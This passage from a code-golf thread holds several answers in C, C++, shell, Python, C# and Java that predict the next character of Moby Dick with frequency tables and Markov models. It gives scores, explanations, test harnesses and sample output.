online!](https://tio.run/##XZDRauMwEEWf7a@YGkLtRFm3@1Qs9NhAobAf4PpBGUuyWEUOklKzLfn19UoqtGURiOEyc@bOxb1CXNdzf//zYfjvo5wcCZKRqnpq3s89H/rj0OPQjwOb6MSiwqJwZFFCNkadTQO9rtoGOHFt61Rwp5AATtxtt/DavJfF4en5cQuayfksbP3a3w@kclVDyyJ1gUViFLujbWuxAyuWpBIwqgPDfVAX4X1ZJPTC7kjInUsHi5utIhA6CHPgpiyWSRtR1xaZVCJgrZsGbhg8/jokE4WWtVF7iw0sux2FttUy8yEvAO3tbYAwCfD8JID7XEsn/GT@gBN8zDdxDCKa0xadOInkKaKjfRX3Nokag/gt8mzmErh4bdUX7IsSB88uniXraoNVzOBjPmugAwE5OzAX8/YjdoYPz98W56sB54vNrGv5SXux6T1ZnJ0TGLrN2G7GF1uRhYSUukQzexHzoeWVruX6F6Xhyq/75R8 \"C (gcc) – Try It Online\")\nUpdate: ~27000 points off with updated file, 16 points (8 bytes) with a better-golfed function.\n## Explanation\nThe way this works is that as the code runs through the text, it memorizes the last character that terminated any given 4-character sequence, and returns that value. Somewhat similar to Arnauld's approach above, but relies on the inherent likelihood of two given 4-character sequences terminating the same way. \nDe-golfed:\n```\np[128][128][128][128];\na,b,c,d;\ng(h){\n p[a][b][c][d]=h; // Memorize the last character.\n h=p[a=b][b=c][c=d][d=h]; // Read the guess. We save several\n // bytes with the assignments inside indices.\n}\n```\n[Answer]\n# C++, 2·62829 + 318786 = 444444\nTo run this program, you need [this file here](https://www.dropbox.com/s/285u647xlzdb0ia/C), which must be named `C`.\nThe program uses the same combination of Markov models as in [our earlier answer](https://codegolf.stackexchange.com/a/153218/49643). As before, this combination is essentially the model from [this answer by user2699](https://codegolf.stackexchange.com/a/153050/49643), but with a few small modifications.\nSeeing as how this answer uses the exact same model as before, the improvement is a **better information-theoretic mechanism** than the \"rewind\" mechanism described earlier. This allows it to make fewer errors while also having a smaller combined length. The program itself isn't golfed very much because it is not the major contributor to the score.\nThe program is 2167 bytes long (including all the tabs for indentation and lots of other unnecessary characters, but before the test code), and the binary file `C` is 60661 bytes long, so [under the rules for scoring multiple files](https://codegolf.meta.stackexchange.com/questions/4933/counting-bytes-for-multi-file-programs/4934#4934), we score `L` as 2167 + 60661 + 1 = 62829.\nThe program takes approximately 8 minutes to run on an `m5.4xlarge` instance on Amazon EC2 and uses a little over 16 GB of memory. (This excessive memory usage isn't necessary -- we just didn't optimize that either.)\n```\n#include \n#include \n#include \nusing namespace std;\nFILE *in;\nunsigned int a, b = -1, c, d;\nstring s, t;\ndouble l, h = 1, x[128][129], y[129], m[128];\nmap N;\nmap M;\nint G, S;\nint f(int C)\n{\n int i, j;\n for (i = 0; i <= 20 && i <= S; i++) {\n t = s.substr(S - i);\n N[t]++;\n M[t][C]++;\n }\n s += C;\n S++;\n for (i = 0; i < 128; i++)\n m[i] = 0;\n int E = 0;\n for (i = 20; i >= 0; i--) {\n if (i > S)\n continue;\n t = s.substr(S - i);\n if (i <= 2 && E >= 100 && (i == 0 || t[0] != ' '))\n break;\n if (M.find(t) == M.end())\n continue;\n for (j = 0; j < 128; j++) {\n m[j] += M[t][j] / N[t];\n }\n E += N[t];\n }\n double r = 0;\n for (i = 0; i < 128; i++)\n r += m[i];\n for (i = 0; i < 128; i++)\n m[i] = m[i] / r;\n if (!in) {\n in = fopen(\"C\", \"r\");\n for (i = 0; i < 4; i++)\n c = c << 8 | getc(in);\n } else {\n l = x[C][G]\n + (l - y[G]) * (x[C][G + 1] - x[C][G]) / (y[G + 1] - y[G]);\n h = x[C][G]\n + (h - y[G]) * (x[C][G + 1] - x[C][G]) / (y[G + 1] - y[G]);\n }\n priority_queue> q;\n for (i = 0; i < 128; i++) {\n q.push(make_pair(m[i], i));\n }\n int n = 0;\n double s = 0;\n while (q.size()) {\n i = q.top().second;\n q.pop();\n if (m[i] < s / (n + 15))\n break;\n s += m[i];\n n++;\n }\n r = 0;\n for (i = 0; i < 128; i++) {\n y[i + 1] = m[i] - s / (n + 15);\n if (y[i + 1] < 0)\n y[i + 1] = 0;\n r += y[i + 1];\n }\n for (i = 0; i < 128; i++)\n y[i + 1] /= r;\n for (i = 0; i < 128; i++) {\n r = 0;\n for (j = 0; j < 128; j++) {\n x[i][j + 1] = y[j + 1];\n if (i == j)\n x[i][j + 1] *= 16;\n r += x[i][j + 1];\n }\n for (j = 0; j < 128; j++)\n x[i][j + 1] /= r;\n x[i][0] = 0;\n for (j = 0; j < 128; j++)\n x[i][j + 1] += x[i][j];\n }\n y[0] = 0;\n for (i = 0; i < 128; i++)\n y[i + 1] += y[i];\n for (G = 0; G < 128; G++) {\n if (y[G + 1] <= l)\n continue;\n if (y[G + 1] < h) {\n d = a + (b - a) * ((h - y[G + 1]) / (h - l));\n if (c <= d) {\n b = d;\n l = y[G + 1];\n } else {\n a = d + 1;\n h = y[G + 1];\n }\n while ((a ^ b) < (1 << 24)) {\n a = a << 8;\n b = b << 8 | 255;\n c = c << 8 | getc(in);\n }\n }\n if (h <= y[G + 1])\n return G;\n }\n}\n// End submission here. Test code follows.\nint main()\n{\n FILE *moby = fopen(\"whale2.txt\", \"r\");\n int E = 0;\n int c = getc(moby);\n while (c != EOF) {\n int guess = f(c);\n c = getc(moby);\n if (c != guess)\n E++;\n }\n printf(\"E=\\t%d\\n\", E);\n return 0;\n}\n```\n[Answer]\n### sh+bzip2, 2\\*364106 = 728212\n2\\*381249 + 0 = 762498\n```\ndd if=$0 bs=1 skip=49|bunzip2&exec cat>/dev/null\n```\nfollowed by the bzip2-compressed whale2.txt with the first byte missing\nIgnores its input; outputs the correct answer. This provides a baseline on one end; daniero provides a baseline on the other end.\nBuilder script:\n```\n#!/bin/sh\nif [ $# -ne 3 ]\nthen\n echo \"Usage $0 gen.sh datafile output.sh\"\n exit 1\nfi\ncat $1 > $3\ndd ibs=1 if=$2 skip=1 | bzip2 -9 >> $3\nchmod +x $3\n```\nI/O test harness (tcc; cut off first line for gcc). This test harness can be used by anybody on a suitable platform that submits a complete program that expects read/write I/O. It uses byte-at-a-time I/O to avoid cheating. Child program must flush output after every byte to avoid blocking.\n```\n#!/usr/bin/tcc -run\n#include \n#include \n#include \n#include \n#include \nint main(int argc, char **argv)\n{\n volatile int result;\n int readfd[2];\n int writefd[2];\n int cppid;\n int bytecount;\n char c1, c2, c3;\n if (argc != 2) {\n printf(\"write X approximately -- service host\\n\");\n printf(\"Usage: %s serviceprocessbinary < source.txt\\n\", argv[0]);\n return 1;\n }\n /* Start service process */\n if (pipe(readfd)) {\n perror(\"pipe()\");\n return 3;\n }\n if (pipe(writefd)) {\n perror(\"pipe()\");\n return 3;\n }\n result = 0;\n if (!(cppid = vfork())) {\n char *argtable[3];\n argtable[0] = argv[1];\n argtable[1] = NULL;\n dup2(readfd[0], 0);\n dup2(writefd[1], 1);\n close(readfd[1]);\n close(writefd[0]);\n close(readfd[0]);\n close(writefd[1]);\n execvp(argv[1], argtable);\n if (errno == ENOEXEC) {\n argtable[0] = \"/bin/sh\";\n argtable[1] = argv[1];\n argtable[2] = NULL;\n /* old standard -- what isn't an executable\n * can be exec'd as a /bin/sh script */\n execvp(\"/bin/sh\", argtable);\n result = ENOEXEC;\n } else {\n result = errno;\n }\n _exit(3);\n } else if (cppid < 0) {\n perror(\"vfork()\");\n return 3;\n }\n if (result) {\n errno = result;\n perror(\"execvp()\");\n return 3;\n }\n close(readfd[0]);\n close(writefd[1]);\n /* check results */\n read(0, &c2, 1);\n bytecount = 1;\n errno = 0;\n while (read(0, &c1, 1) > 0) {\n write(readfd[1], &c2, 1);\n if (read(writefd[0], &c3, 1) <= 0) {\n printf(\"%d errors (%d bytes)\\n\", result, bytecount);\n if (errno == 0)\n fprintf(stderr, \"pipe: unexpected EOF\\n\");\n else\n perror(\"pipe\");\n return 3;\n }\n if (c3 != c1)\n ++result;\n c2 = c1;\n ++bytecount;\n }\n printf(\"%d errors (%d bytes)\\n\", result, bytecount);\n return 0;\n}\n```\n[Answer]\n# [Python 3](https://docs.python.org/3/), 879766\n```\nF=[[0]*123for _ in range(123)]\nP=32\ndef f(C):global P;C=ord(C);F[P][C]+=1;P=C;return chr(max(enumerate(F[C]),key=lambda x:x[1])[0])\n```\n[Try it online!](https://tio.run/##bVTbbttGEH32fsUkAmqykVgrfpOgh0Ko4qIOYiA2AkMWjBU5FBda7qrLpS4I8u3uGUq@pO2TxLmcOecMh5tDrLy7fHqaTebzi8Wvw4@XpQ/0SMZR0G7FCSLpQt1MLj@qgksqk2k6Wlm/1JZuxtOJDwUi49n8ZjGfLj5MhuObyXQcOLbBUV6FpNb7hF1bc9CRkxmK0v6aDxOr62WhaT/az4eLFLPTJ9WjO7fytuSCcl8wLdn6nUK4DPx3yy4/0ISeedL/Eu3RJvAWZeDboyPjvNIhHamzHp2IS4k8SgKloqGrkdjLqLlULeaSWNCHCQ0lWxv3aFzBe7SJMnWG4Ku81@auLe13echF@YtgEsUClhKkyJ8TZemRx7fuPc8DN2XqjQ@RmkPz/Deamk1U3WZq1k0bOBGlpbEMQFRmTSxgUY/8hl0Szqejh42O1UP0D1L0sKu05Szu4zkmRN5HtEkiC6yLJD1CZbn1DcuTcbkPgXMpu1BnQtz4tnk8OSkAnSbZTRfD7C44HC3A62zVctPIiOSnViC/gYbZxsXkWPvu6EtXUVLyWvULXewvZ7NZShNwIe0K@qlDxoGgIJ1//0FZlp1noFXr@AqSCuy/RXRrUG9af6PvP/7b2ycLR0VcOhgCSJ0abrGT0dsO@NqtKTv@JKdF9QmvzZLDZJgqtD@pP27vP3@5/vLpPlMq@dpuNtbgEJYH0nSNl4um3jVtvYlmy3TXVBwoeuQ@BV3XIP41r7y34HFbMW2w1WPRYBAr2eVSB5Zt5F6DesU64Gfpi0O/s24ZtHFj@pMaZqpMrZzfZXTFtNMN8RbDiraJxq2QbMjbAur3Jgelo/NHEk2fdiZWYIUz4KAq5NYc8spw2afa52sg2AMxhFtrwK84NVhLEbxX@kCl1SuMKCWoJLgGF0dORyPjkJDgzgdbdAyt3wIGXgjDF3rPjMaEA2l8zZXf4XxtgfGBazmqQoQKnvTUuCdtTTzA/fffKjmgg28p6nVnmyiRGU3nMnlQELWnaGSdV0Krln3hpqJyumb40N3XoIRUwhCULplyCMNwoPpWlujw3sJOvRV7fYu9YGW@XVXKrJzH1y3nfqfZcozYxBVcrkwurtUekrX1jvE5WnPsSFCDPlOavHMMAtXJsKLfaSrYGtloBM8TErg5j@9JaDl7T4PB1e/Tv67v7m/VPw \"Python 3 – Try It Online\")\n---\n... The `///` answer which prints a space get 10 upvotes, while my code can only get 3 ...\nExplanation:\nFor each character, the program:\n* increase `frequency[prev][char]`\n* Find the character that appear the most times in `frequency[char]`\n* and output it.\n---\n* Ungolfed code in TIO link, commented out.\n* The code is 131 bytes.\n* The code run on my machine reports:\n```\n879504 / 1215235\nTime: 62.01348257784468\n```\nwhich have the total score\n```\n2*131 + 879504 = 879766\n```\nBecause there is no way to upload a large file to TIO (except asking Dennis), the example run in the TIO link only runs the program for a small part of the text.\nIn comparison with the older answer, this one have 362 more incorrect characters, but the code is shorter by 255 bytes. The multiplier makes my submission have lower score.\n[Answer]\n# C#, 378\\*2 + 569279 = 570035\n```\nusing System.Collections.Generic;using System.Linq;class P{Dictionary>m=new\nDictionary>();string b=\"\";public char N(char\nc){if(!m.ContainsKey(b))m[b]=new Dictionary();if(!m[b].ContainsKey(c))m[b][c]=0;m[b][c]++;b+=c;if(b.Length>4)b=b.Remove(0,1);return\nm.ContainsKey(b)?m[b].OrderBy(k=>k.Value).Last().Key:' ';}}\n```\nThis approach uses a look-up table to learn the most common character that follows a given string. The keys of the look-up table have a maximum of 4 characters, so the function first updates the look-up table with the current character and then just checks which character is the most likely to happen after the 4 previous ones including the current one. If those 4 characters are not found in the look-up table, it prints a space.\nThis version uses the `whale2.txt` file, as it greatly improves the number of successful guesses.\nFollowing is the code used to test the class:\n```\nusing System;\nusing System.IO;\nusing System.Text;\npublic class Program\n{\n public static void Main(string[] args)\n {\n var contents = File.OpenText(\"whale2.txt\").ReadToEnd();\n var predictor = new P();\n var errors = 0;\n var generated = new StringBuilder();\n var guessed = new StringBuilder();\n for (var i = 0; i < contents.Length - 1; i++)\n {\n var predicted = predictor.N(contents[i]);\n generated.Append(predicted);\n if (contents[i + 1] == predicted)\n guessed.Append(predicted);\n else\n {\n guessed.Append('_');\n errors++;\n }\n }\n Console.WriteLine(\"Errors/total: {0}/{1}\", errors, contents.Length);\n File.WriteAllText(\"predicted-whale.txt\", generated.ToString());\n File.WriteAllText(\"guessed-whale.txt\", guessed.ToString());\n Console.ReadKey();\n }\n}\n```\nThe code runs in barely 2 seconds. Just for the record, this is what I get when I modify the size of the keys of the look-up table (includes the results of a second run without resetting the model):\n```\nSize Errors Errors(2)\n-------------------------\n1 866162 865850\n2 734762 731533\n3 621019 604613\n4 569279 515744\n5 579446 454052\n6 629829 396855\n7 696912 335034\n8 765346 271275\n9 826821 210552\n10 876471 158263\n```\nIt would be interesting to know why a key size of 4 characters is the best choice in this algorithm.\n**Text comparison**\nOriginal:\n```\n\"And did none of ye see it before?\" cried Ahab, hailing the perched men all around him.\n\"I saw him almost that same instant, sir, that Captain Ahab did, and I cried out,\" said Tashtego.\n\"Not the same instant; not the same--no, the doubloon is mine, Fate reserved the doubloon for me. I only; none of ye could have raised the White Whale first. There she blows!--there she blows!--there she blows! There again!--there again!\"\n```\nRecreated:\n```\n\"Tnd tes note of to seamtn we ore \nsried thab wedleng the srriead te a l tneund tes \n\"T day tim t lost shet toie tn tand aor, ahet taptain thab sid tnd t waued tnt said teshtego \n\"To, ahe shme tn tand aot the shme whot nhe sewbteodsan tagd althsteatnved the sewbteodsaor te, I hncy aote of to sanld bave beised the shate Whale iorst Bhe e ati boaos -the ati boaos -the ati boaos the e anains -ahe anains \n```\nGuesses:\n```\n\"_nd ___ no_e of __ se____ _e_ore____ried _hab_ ___l_ng the __r___d _e_ a_l ___und _____\n\"_ _a_ _im ___ost _h_t ___e _n_tan__ __r, _h_t _aptain _hab _id_ _nd _ ___ed __t__ said __shtego__\n\"_o_ _he s_me _n_tan__ _ot the s_me___o_ _he ___b__o____ _____ __t___e___ved the ___b__o___or _e_ I _n_y_ _o_e of __ ___ld _ave __ised the _h_te Whale __rst_ _he_e ___ b___s__-the__ ___ b___s__-the__ ___ b___s_ _he_e a_ain__-_he__ a_ain__\n```\n**Change log**\n* **569279** - changed to `whale2.txt` and thus removed the optimization.\n* **577366** - optimized with code that tried to guess when to return a line feed.\n* **590354** - original version.\n[Answer]\n# Java 7, 1995 characters, (1995\\*2+525158) 529148\nJava sucks for small program sizes. Anyway, I tried several extremely complex and tricky approaches that produced surprisingly crap results. I subsequently went back and just did a simple approach, which resulted in a smaller program size and better results. \nThis approach is actually extremely simple. It blindly feeds the previous x characters (in addition to all substrings of those characters) into a hashtable, mapped to the current character. It then keeps track of which patterns most accurately predict the current character. If patterns that precede certain characters are encountered multiple times, they succeed in predicting the character. It gives precedence to longer strings and it gives precedence to whichever character most often follows a given string. \nThis algorithm knows nothing about the type of document or the english language. \nI settled on using 9 characters and attempting to match whole words within those previous 9 characters when possible. When you don't try to do word matching within the strings, the optimum length is 6 characters, producing several thousand more mispredictions. \nOne interesting observation was that using 20 characters resulted in bad predictions the first time through but 99.9 percent accuracy on subsequent passes. The algorithm was basically able to memorize the book in overlapping 20 byte chunks, and this was distinct enough to allow it to recall the entire book a character at a time. \n* (1950\\*2+532919) **536819**\n* (2406\\*2+526233) **531045** checking for punctuation to make better guesses\n* (1995\\*2+525158) **529148** more tweaking, golfed away some verbiage\n---\n```\npackage mobydick; import java.util.HashMap; public class BlindRankedPatternMatcher { String previousChars = \"\"; int FRAGLENGTH = 9; HashMap > patternPredictor = new HashMap<>(); void addWordInfo(String key, String prediction) { HashMap predictions = patternPredictor.get(key); if (predictions == null) { predictions = new HashMap(); patternPredictor.put(key, predictions); } WordInfo info = predictions.get(prediction); if (info == null) { info = new WordInfo(prediction); predictions.put(prediction, info); } info.freq++; } String getTopGuess (String pattern) { if (patternPredictor.get(pattern) != null) { java.util.List predictions = new java.util.ArrayList<>(); predictions.addAll(patternPredictor.get(pattern).values()); java.util.Collections.sort(predictions); return predictions.get(0).word; } return null; \n} String mainGuess() { \nif (trimGuess(\",\") != null) return trimGuess(\",\"); if (trimGuess(\";\") != null) return trimGuess(\";\"); \nif (trimGuess(\":\") != null) return trimGuess(\":\"); \nif (trimGuess(\".\") != null) return trimGuess(\".\"); if (trimGuess(\"!\") != null) return trimGuess(\"!\"); if (trimGuess(\"?\") != null) return trimGuess(\"?\"); if (trimGuess(\" \") != null) return trimGuess(\" \"); for (int x = 0;x< previousChars.length();x++) { String tg = getTopGuess(previousChars.substring(x)); if (tg != null) { return tg; } } return \"\\n\"; } String trimGuess(String c) { if (previousChars.contains(c)) { \nString test = previousChars.substring(previousChars.indexOf(c)); return getTopGuess(test); } return null; } public String predictNext(String newChar) { if (previousChars.length() < FRAGLENGTH) { previousChars+= newChar; } else { for (int x = 0; x addWordInfo(previousChars.substring(x), newChar); } previousChars = previousChars.substring(1) + newChar; } return mainGuess(); \n} class WordInfo implements Comparable { public WordInfo (String text) { this.word = text; } \nString word; int freq = 0; @Override public int compareTo(WordInfo arg0) { return Integer.compare(arg0.freq, this.freq); }\n```\n[Answer]\n# Python 3, ~~2×497+619608=620602~~ 2×496+619608=620600\n```\nimport operator as o\nl=''\nw=''\nd={}\np={}\ns=0\ndef z(x,y):\n return sorted([(k,v) for k,v in x.items() if k.startswith(y)],key=o.itemgetter(1))\ndef f(c):\n global l,w,d,p,s\n r=' '\n if c in' \\n':\n s+=1\n if w in d:d[w]+=1\n else:d[w]=1\n if w:\n if l:\n t=l+' '+w\n if t in p:p[t]+=1\n else:p[t]=1\n n=z(p,w+' ')\n if n:g=n[-1];l=w;w='';r=g[0][len(l)+1]\n else:l=w;w='';r='t'\n else:\n w=w+c;m=z(p,w)\n if m:\n g=m[-1]\n if g[0]==w:\n if s>12:s=0;r='\\n'\n else:r=g[0][len(w)]\n return r\n```\nI attempted this independently, but ended up with what's effectively an inferior version of Michael Homer's answer. I hope that doesn't render my answer completely obsolete.\nThis builds over time a dictionary of words (crudely defined as strings terminated by or `\\n`, case-sensitive and including punctuation). It then searches this dictionary for words beginning with what it so far knows of the current word, sorts the resulting list by frequency of occurrence (slowly), and guesses that the next character is the next character in the most common matching word. If we already have the most common matching word, or no longer matching word exists, it returns .\nIt also builds up a disgustingly inefficient dictionary of word pairs. Upon hitting a word boundary, it guesses that the next character is the first letter of the second word in the most common matching word pair, or `t` if there is no match. It's not very clever, though. Following `Moby`, the program correctly guesses that the next character is `D`, but then it forgets all about the context and usually ends up calling the whale \"Moby Duck\" (because the word \"Dutch\" seems to be more frequent in the first half of the text). It would be easy to fix this by prioritising word pairs over individual words, but I expect the gain would be marginal (since it's usually correct from the third character on, and the word pairs aren't that helpful in the first place).\nI could tune this to better match the provided text, but I don't think manually tuning the algorithm based on prior knowledge of the input is really in the spirit of the game so, other than choosing t as the fallback character after a space (and I probably shouldn't have done that either), I avoided that. I ignored the known line length of the input file, and instead inserted `\\n` after every 13 spaces—this is almost certainly a very poor match, the main intention was to keep the line length reasonable rather than to match the input.\nThe code isn't exactly fast (~2 hours on my machine), but overall gets about half the characters right (49%). I expect the score would be marginally better if run on `whale2.txt`, but I haven't done that.\nThe start of the output looks like this:\n> \n> `T t t t t t t t t L t t t tsher\n> t t t ty t to t t te t t t t t tem t t t\n> d b ta tnL te t tv tath a to tr t tl t\n> l toe g to tf ahe gi te we th austitam ofd laammars, tn te to t tis\n> nf tim oic t t th tn cindkth ae tf t\n> d bh ao toe tr ai tat tnLiat tn to ay to tn\n> hf to tex tfr toe tn toe kex te tia t l t l ti toe\n> ke tf hhe kirl tou tu the tiach an taw th t t Wh tc t\n> d t te the tnd tn tate tl te tf teu tl tn oan.\n> HeAL. tn nn tf r t-H ta t WhALE.... S tn nort ts tlom\n> rhe ka tnd Dr t t tALL th teuli th tis t-H taCTIONARY\n> \" t r t o t a t A t . t eALT\n> t I t HLW t I t e t w t AO t t t AOLE,\n> I T t t t ALE t w t t R t EK t T t R tSupplied\n> by wnLw t t iit ty cce thet whe to tal ty tnd`\n> \n> \n> \nbut by the end, it looks a bit more like... something. My favourite passage from near the end of the book,\n> \n> \"I turn my body from the sun. What ho, Tashtego! let me hear thy hammer.\n> Oh! ye three unsurrendered spires of mine; thou uncracked keel; and only\n> god-bullied hull; thou firm deck, and haughty helm, and Pole-pointed\n> prow,--death-glorious ship! must ye then perish, and without me? Am I\n> cut off from the last fond pride of meanest shipwrecked captains? Oh,\n> lonely death on lonely life! Oh, now I feel my topmost greatness lies in\n> my topmost grief. Ho, ho! from all your furthest bounds, pour ye now in,\n> ye bold billows of my whole foregone life, and top this one piled comber\n> of my death! Towards thee I roll, thou all-destroying but unconquering\n> whale; to the last I grapple with thee; from hell's heart I stab at\n> thee; for hate's sake I spit my last breath at thee. Sink all coffins\n> and all hearses to one common pool! and since neither can be mine, let\n> me then tow to pieces, while still chasing thee, though tied to thee,\n> thou damned whale! THUS, I give up the spear!\"\n> \n> \n> \ncomes out as\n> \n> `I\n> dhrnery oyay ooom the woc Ihal iiw chshtego -tit my ti ddohe\n> bidmer Hh, ho sheee opdeprendera toetis of tygd ahesgapdo tnep tnd tf\n> y arosl tinl ahesgaorsltoak, and tidlhty ai p, cnd telas taep toip syst\n> ho she tachlhe tnd tith ut ay Rnet hor bf toom the wist\n> tord oaeve of ty nsst toip recked,hontain th, tingly toadh af tingly tike 'h,\n> tot a hoet ty oh ost sreat ess iik in ty oh ost sremf Hew hiw\"aoom\n> tnl tou oolthert tyand . taoneoo sot an ao syad tytlows of ty\n> oii e oor hoi tike and th ohes if oaped uoueid tf ty ooadh Ih\n> ards the t houle lhesganl p tyt tpdomsuera tiile ah the wist t hrenelidtith\n> the Ioom ti p s di dd o hoinbtn the Ior tid toie o hoetefy\n> oist tyoakh on the Opr tnl toufin and tnl ti dd .mh tf ooueon\n> gaor tnd todce tovther lon by tygd ait my the th aih tapce\n> ciice toill moaneng she thesgh thmd th the thesgaoy d jiile YhE t\n> hrve tpothe woerk \"`\n> \n> \n> \nThat would have made *The Wrath of Khan* a lot more confusing. And \"lonely\" → \"tingly\" is a particularly satisfying substitution.\n**Edit:** Saved one byte by deleting an extraneous space\n# Scoring\n```\n#! /usr/bin/env python3\nimport sys\nimport os\nimport mobydick as moby\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\ntotal = 0\nright = 0\nreal_char = ''\nguess_char = 'T'\nprint('T',end='')\nwith open(\"whale.txt\") as whale:\n while True:\n if real_char == guess_char:\n right += 1\n real_char = whale.read(1)\n if not real_char:\n eprint(str(right) + \" / \" + str(total) + \" (\" +\n str(right/total*100) + \"%)\")\n size = os.path.getsize(\"mobydick.py\")\n eprint(\"Source size: \" + str(size) + \"B\")\n eprint(\"Score: \" + str(2*size + total - right))\n sys.exit(0)\n guess_char = moby.f(real_char)\n print(guess_char,end='')\n total += 1\n```\nThis runs the program for the text of Moby Dick and outputs the \"predicted\" textto stdout, and abuses stderr to write the score. I'd recommend redirecting the output to a file.\n[Answer]\n# Python 3, 526640\n274 bytes, 526092 errors (using `whale2.txt`). This is definitely capable of further improvement, but it has reached the \"good enough to post\" stage.\n```\nfrom collections import*\nD=defaultdict\nM=[D(lambda:D(int))for i in range(10)]\nX=\"\"\ndef f(c):\n global X;G=D(int)\n for L in range(10):\n M[L][X[:L]][c]+=1;N=M[L][(c+X)[:L]]\n if N:g=max(N,key=lambda k:(N[k],k));G[g]+=N[g]*L**8\n X=(c+X)[:10]\n return max(G,key=lambda k:(G[k],k))\n```\nThe idea is to store the frequencies of all runs of 2, 3, 4, ..., 10 characters. For each of these lengths L, we check whether the most recent L-1 characters match a stored pattern; if so, our guess gL is the most frequent next character following that pattern. We collect up to nine guesses in this way. To decide which guess to use, we weight the frequency of each pattern by its length to the 8th power. The guess with the largest sum of weighted frequencies is chosen. If there are no patterns that match, we guess space.\n(The maximum pattern length and the weighting exponent were chosen by trial-and-error to give the fewest incorrect guesses.)\nHere's my ungolfed work-in-progress version:\n```\nfrom collections import defaultdict\nPATTERN_MAX_LEN = 10\nprev_chars = \"\"\npatterns = [defaultdict(lambda:defaultdict(int))\n for i in range(PATTERN_MAX_LEN)]\n# A pattern dictionary has entries like {\" wh\": {\"i\": 5, \"a\": 9}}\ndef next_char(c):\n global prev_chars\n guesses = defaultdict(int)\n for pattern_len in range(PATTERN_MAX_LEN):\n # Update patterns dictionary based on pattern and c\n pattern = prev_chars[:pattern_len]\n patterns[pattern_len][pattern][c] += 1\n # Make a guess at the next letter based on pattern (including c)\n pattern = (c + prev_chars)[:pattern_len]\n if pattern in patterns[pattern_len]:\n potential_next_chars = patterns[pattern_len][pattern]\n guess = max(potential_next_chars,\n key=lambda k:(potential_next_chars[k], k))\n frequency = potential_next_chars[guess]\n # Exact formula TBD--long patterns need to be heavily\n # advantaged, but not too heavily\n weight = frequency * pattern_len ** 8\n guesses[guess] += weight\n # Update prev_chars with the current character\n prev_chars = (c + prev_chars)[:PATTERN_MAX_LEN]\n # Return the highest-weighted guess\n return max(guesses, key=lambda k:(guesses[k], k))\n```\nAnd the test harness:\n```\nfrom textPredictorGolfed import f as next_char\n# OR:\n# from textPredictor import next_char\ntotal = 0\ncorrect = 0\nincorrect = 0\nwith open(\"whale2.txt\") as file:\n character = file.read(1)\n while character != \"\":\n guess = next_char(character)\n character = file.read(1)\n if guess == character:\n correct += 1\n else:\n incorrect += 1\n total += 1\nprint(\"Errors:\", incorrect, \"({:.2f}%)\".format(100 * incorrect / total))\n```\n---\nHere's some sample output from near the beginning of the text. Already we begin to see the ability to finish common words after seeing their first letter (`in`, `to`, `and`, `by`; also, apparently, `school`).\n```\n you take in hand to school others, and to teach them by what name a whale-fish\nxU wshhlnrwn cindkgo dooool)tfhe -; wnd bo so rhoaoe ioy aienisotmhwnqiatl t n \n```\nNear the end, there are still plenty of mistakes, but also plenty of very good sequences (`shmage seashawks`, for instance).\n```\nsavage sea-hawks sailed with sheathed beaks. On the second day, a sail drew near\nshmage seashawks wtidod oith tua dh tyfr. Tn the shaond tay, wnltiloloaa niar\n```\nIt's interesting to look at some of the mistakes and guess what word the algorithm \"expected.\" For instance, after `sail`, the program both times predicts `o`--for `sailor`, I presume. Or again, after `, a` it expects `n`--possibly because of the common occurrence of `, and`.\n---\nChangelog:\n* 274 \\* 2 + 526092 = **526640** Golfed the algorithm, at the cost of a few extra errors\n* 306 \\* 2 + 526089 = **526701** Original version\n[Answer]\n# Python 2, score: 2\\*(407+56574) + 562262 = 676224\nSearches for words matching the previous characters from a list of ~~all~~ most words used in the text, sorted by the number of their occurrences.\n**Code:**\n```\nimport zlib\nf=open(\"d\",\"rb\")\nl=zlib.decompress(f.read()).split()\nw=\"\"\ndef f(c):\n global w\n if c.isalpha():\n w+=c\n try:n=next(x for x in l if x.startswith(w))\n except StopIteration:return\" \"\n if len(n)>len(w):\n return list(n)[len(w)]\n return\" \"\n w=\"\";\n n=ord(c)\n if n>31:\n return list(\"t \\n 2 sS \\n - 08........ huaoRooe oioaoheu thpih eEA \\n neo enueee neue hteht e\")[n-32]\n return\"\\n\"\n```\n**Data: **\n**Test suite:**\n```\nincorrect = 0\nwith open(\"whale2.txt\") as file:\n p_ch = ch = file.read(1)\n while True:\n ch = file.read(1)\n if not ch:\n break\n f_ch = f(p_ch)\n if f_ch != ch:\n incorrect += 1\n p_ch = ch\nprint incorrect\n```\n**Edit:** Using `whale2.txt` gives a better score.\n[Answer]\n# C++ (GCC), 725 × 2 + 527076 = 528526\nYet another prefix-frequency submission. Run on `whale2.txt`, and get similar (slightly worse) score than others.\n```\n#import\nchar*T=\"\\n !\\\"$&'()*,-.0123456789:;?ABCDEFGHIJKLMNOPQRSTUVWXYZ[]_abcdefghijklmnopqrstuvwxyz\";\nint I[124];std::string P(7,0);struct D{int V=0;std::arrayX{{0}};};std::vectorL(1);D\ninit(){for(int i=81;i--;)I[T[i]]=i;}int\nf(int c){P=P.substr(1)+(char)I[c];for(int i=7;i--;){int D=0;for(char\nc:P.substr(i)){if(!L[D].X[c]){L[D].X[c]=L.size();L.push_back({});}D=L[D].X[c];}++L[D].V;}std::vectorC(81);for(int\ni=81;i--;)C[i]=i;for(int\ni=0;i<7;++i){int D=0;for(char c:P.substr(i)){D=L[D].X[c];if(!D)break;}if(!D)continue;int M=0;for(int\nx:C)M=std::max(M,L[L[D].X[x]].V);C.erase(std::remove_if(C.begin(),C.end(),[&](int\nx){return L[L[D].X[x]].V!=M;}),C.end());if(C.size()<2)break;}return T[C[0]];}\n```\nThis one greedily find the longest string that starts with a suffix of the history, and if there are multiple candidates, tiebreak with shorter strings.\nFor example: If the last 7 characters are `abcdefgh`, and the string `abcdefghi` and `abcdefghj` appears with the largest frequency in all strings of the form `abcdefgh*`, the output will be either `i` or `j`, tiebreak with shorter suffixes (`bcdefgh`, `cdefgh`, ...).\nFor unknown reasons, anything more than 7 and my computer doesn't have enough RAM to run it. Even with 7, I need to close all web browsers to run it.\n---\nTesting code:\n```\nint main() {\n init(); \n std::cout << \"Start ---\\n\";\n std::time_t start = std::clock();\n std::ifstream file {\"whale2.txt\"};\n // std::ofstream file_guess {\"whale_guess.txt\"};\n std::ofstream file_diff {\"whale_diff.txt\"};\n if (!file.is_open()) {\n std::cout << \"File doesn't exist\\n\";\n return 0;\n }\n char p_ch, ch;\n file >> std::noskipws >> p_ch;\n int incorrect = 0, total = 0;\n // file_diff << p_ch;\n int constexpr line_len = 